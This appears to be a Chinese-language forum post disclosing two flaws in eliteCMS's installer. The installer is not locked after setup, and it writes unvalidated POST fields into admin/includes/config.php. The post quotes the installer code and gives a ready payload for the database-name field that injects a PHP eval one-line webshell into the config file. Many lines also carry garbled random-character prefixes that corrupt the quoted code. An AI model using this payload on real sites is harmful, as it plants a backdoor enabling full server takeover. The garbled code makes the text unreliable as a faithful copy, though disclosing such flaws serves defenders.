eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
8 J! ]+ @) b& p4 c0 E我们来看代码：

...
; v9 i8 c  L  U+ W" [elseif ($_GET['step'] == "4") {
' u4 |" D: [- H( L    $file = "../admin/includes/config.php";
, Z; m' _9 R/ p2 z2 l" h+ @( N    $write = "<?php\n";
3 ?2 h, E  A6 [& @2 p    $write .= "/**\n";
+ ]. N' n$ ^) M$ n( R    $write .= "*\n";
! P/ I; P8 D# E# `    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
$ J% e, b; X0 v) D: i    $write .= "*/\n";
% X4 t7 B. i/ W' E6 l! N5 J6 m    $write .= "\n";
) u' ]) E; M2 K4 s1 V    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
/ Y, T7 V9 ^) M3 P7 _/ V$ D% C    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
0 ?0 w( T1 G. \3 _    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 I) e* |1 x' X4 g; e- c3 |3 d( P    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
& r3 ], g& T" p0 E5 c    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
1 G4 x9 J& q# Q2 O( V3 W0 X7 |  i    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
1 _0 s" V) e3 k6 l; X- z    $write .= "if (!\$db_select) {\n";
6 o5 ]9 ]: }) E    $write .= "        die(\"Database select failed\" .mysql_error());\n";
( R& D9 G. l2 t2 W    $write .= "        \n";
    $write .= "} \n";
2 d' Q0 J: j4 R' d4 \' s    $write .= "?>\n";
1 s; S9 i" \9 R" p4 l6 G
    $writer = fopen($file, 'w');
# R% P2 u. O7 U* ]! f) D...
% J8 |0 s2 |0 \; W, {( e
在看代码：

, g1 T- U3 ]0 o# ~% B$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
- S: K4 b$ k1 e! Y1 E1 W3 T$ a5 M  T$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
/ H* z+ ^! g% g
取值未作任何验证
如果将数据库名POST数据：
' ?3 M, w2 R6 ^* @$ W$ ~3 `% p3 K9 N
"?><?php eval($_POST[c]);?><?php
- B8 A1 n, E" u& D7 v/ J$ s
# k% \5 S; }' r. {: |( u将导致一句话后门写入/admin/includes/config.php